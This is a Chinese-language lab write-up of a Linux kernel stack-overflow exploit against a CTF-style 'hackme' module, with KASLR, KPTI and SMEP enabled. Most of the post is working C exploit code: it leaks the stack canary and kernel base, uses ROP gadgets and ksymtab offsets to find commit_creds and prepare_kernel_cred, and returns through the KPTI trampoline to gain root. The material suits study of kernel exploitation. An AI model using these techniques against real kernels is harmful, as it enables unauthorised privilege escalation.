内核缓冲区溢出3--开启kaslr

  • Comments Off on 内核缓冲区溢出3--开启kaslr
  • 9 views
  • A+

介绍

  • kaslr会随机化内核的符号地址。这些随机化是细粒度的,即不同符号可能基地址不同,泄漏基地址加偏移量的方式将不会对所有符号起作用。
  • 从text段开始到__x86_retpoline_r15范围内到镜像的基地址是固定的,commit_creds()prepare_kernel_cred()没有驻留在这个区域,但是可以在这里搜索rop。

/ # cat /proc/kallsyms |grep __x86_retpoline_r15
ffffffff81400dc6 T __x86_retpoline_r15

* 绕过kpti的rop swapgs_restore_regs_and_return_to_usermode()函数包含在text段开始到__x86_retpoline_r15范围内。
* 内核符号表ksymtab在这个范围内,可以用来计算。commit_creds()prepare_kernel_cred()

/ # cat /proc/kallsyms |grep ksymtab|more
ffffffff81f85198 r __ksymtab_IO_APIC_get_PCI_irq_vector
ffffffff81f85198 R __start___ksymtab

* 符号表里ffffffff81000000 T _stext表示上述的text段开始到__x86_retpoline_r15范围内的基地址。

run.sh内容如下

qemu-system-x86_64
-s
-m 128M
-cpu kvm64,+smep
-kernel vmlinuz
-initrd initramfs.cpio.gz
-hdb flag.txt
-snapshot
-nographic
-monitor /dev/null
-no-reboot
-append "console=ttyS0 kaslr kpti=1 nosmap quiet panic=1"

为了调试方便可以在调试的时候关闭kaslr(把脚本内的kaslr替换为nokaslr)。

利用需要的一些rop和结构

使用下面的rop可以任意地址读,并且设置rdi。只需要把想泄漏的地址减去0x10放入rax即可

unsigned long pop_rax_ret = image_base + 0x4d11UL; // pop rax; ret
unsigned long read_mem_pop1_ret = image_base + 0x4aaeUL; // mov eax, qword ptr [rax + 0x10]; pop rbp; ret;
unsigned long pop_rdi_rbp_ret = image_base + 0x38a0UL; // pop rdi; pop rbp; ret;

接下来需要找到commit_creds函数和prepare_kernel_cred函数的地址,需要借助一个结构:ksymtab。这个结构记录了符号的真实偏移量

ksymtab结构如下

struct kernel_symbol { int value_offset; int name_offset; int namespace_offset; };

  • value_offset表示符号的实际偏移量(这个偏移量能够找到真实地址)。
  • name_offset表示符号名字。
  • namespace_offset表示命名空间偏移
  • 注意这些地址是int(32位,而非64位)

前面知道了ffffffff81f85198 R __start___ksymtab是ksymtab结构的开始,接下来需要定位commit_creds函数在表中的具体位置。

可以通过kallsyms 获取内核符号表项的加载地址,命名为ksymtab_符号名。

/ # cat /proc/kallsyms |grep ksymtab_commit_creds
ffffffff81f87d90 r __ksymtab_commit_creds
/ # cat /proc/kallsyms |grep ksymtab_prepare_kernel_cred
ffffffff81f8d4fc r __ksymtab_prepare_kernel_cred

实际符号地址的计算:__ksymtab_commit_creds+*__ksymtab_commit_creds

漏洞利用

需要查找0xffffffff81000000到0xffffffff81400dc6范围内的地址。

/ # cat /proc/kallsyms |grep __x86_retpoline_r15
ffffffff81400dc6 T __x86_retpoline_r15
ffffffff81f86140 r __ksymtab___x86_retpoline_r15
ffffffff81fb1ca9 r __kstrtab___x86_retpoline_r15
/ # cat /proc/kallsyms |grep stex|more
ffffffff81000000 T _stext
ffffffff81cdcfa0 r snstext

下端点到hackme_read函数,查看栈内容可以看到偏移38位置处为需要的地址(可以通过偏移为16的canary向后计算)。实际上ida里看到的代码和gdb里的地址有区别,函数开始处是可以断下来的。

image-20210813150936555

泄漏

获取canary和镜像基地址rightarrow*commit_creds等地址rightarrow*调用commit_creds等函数。

通过上面的偏移找到canary和镜像基地址,这个基地址可以搜索一些rop,以及使用kpti_trampoline。

```
unsigned n =40;
unsigned long leak[n]; // n*8,unsigned long in x64 is 8 bytes long
ssize_t r_bytes=read(global_fd,leak,sizeof(leak));
// int a[1];
// read(1,a,1);
cookie=leak[16];//0x80/8=0x10=16
base_image=leak[38]-0xa157;

pop_rax_ret=base_image+0x4d11UL;
kpti_trampoline = base_image + 0x200f10UL + 22UL;
read_mem_pop1_ret = base_image + 0x4aaeUL;
pop_rdi_rbp_ret = base_image + 0x38a0UL;
ksymtab_prepare_kernel_cred = base_image + 0xf8d4fcUL;
ksymtab_commit_creds = base_image + 0xf87d90UL;

printf("[*] leaked %zd bytesn",r_bytes);
printf("[*] leaked canary: %lxn",cookie);
printf("[*] leaked image base: %lxn",base_image);
leak_commit_creds();

```

接下来通过获取到的符号地址获取真实地址。真实地址的计算为ksymtab_commit_creds+*(int)ksymtab_commit_creds,下面代码主要是获得*ksymtab_commit_creds。同样的方式可以获得prepare_kernel_cred的地址。需要注意的是

  • write函数下面的代码是不会执行的:write进入内核模块触发漏洞,构造的rop链从内核模块返回到用户态中指定的地址。get_commit_creds函数不会返回,所以接下来的代码是不能返回的。
  • kpti_trampoline过程中不会修改rax寄存器的值。

```
void get_commit_creds(void){

__asm__(
    ".intel_syntax noprefix;"
    "mov tmp_store, rax;"
    ".att_syntax;"
);
commit_creds = ksymtab_commit_creds + (int)tmp_store;
printf("    --> commit_creds: %lxn", commit_creds);
leak_prepare_kernel_cred();

}
void leak_commit_creds()
{
unsigned n=50;
unsigned long payload[n];
unsigned off=16;
payload[off++]=cookie;
payload[off++]=0x0;
payload[off++]=0x0;
payload[off++]=0x0;
payload[off++]=pop_rax_ret;
payload[off++]=ksymtab_commit_creds-0x10;
payload[off++]=read_mem_pop1_ret;
payload[off++]=0x0;
payload[off++]=kpti_trampoline;
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)get_commit_creds;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
puts("[*] Prepared payload to leak commit_creds()");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
```

调用commit_creds(prepare_kernel_cred(0))需要分为两次,第一次调用的结果返回到用户态保存,第二次用保存的结果。

```
void after_prepare_kernel_cred(void){
asm(
".intel_syntax noprefix;"
"mov tmp_store, rax;"
".att_syntax;"
);
returned_creds_struct = tmp_store;
printf(" --> returned_creds_struct: %lxn", returned_creds_struct);
call_commit_creds();
}
void call_prepare_kernel_cred(){
printf("call_prepare_kernel_credn");
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rdi_rbp_ret; // return address
payload[off++] = 0; // rdi <- 0
payload[off++] = 0; // dummy rbp
payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)after_prepare_kernel_cred;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;

puts("[*] Prepared payload to call prepare_kernel_cred(0)");
ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");

}
```

image-20210815110723384

至此,完成绕过所有保护从普通用户变为root用户。

相关推荐: 利用删除匹配的前缀和后缀模式来绕过严格的输入验证

译文链接:https://www.secjuice.com/bypass-strict-input-validation-with-remove-suffix-and-prefix-pattern/。受个人知识所限及偏见影响,部分内容或存在过度曲解误解,望师傅…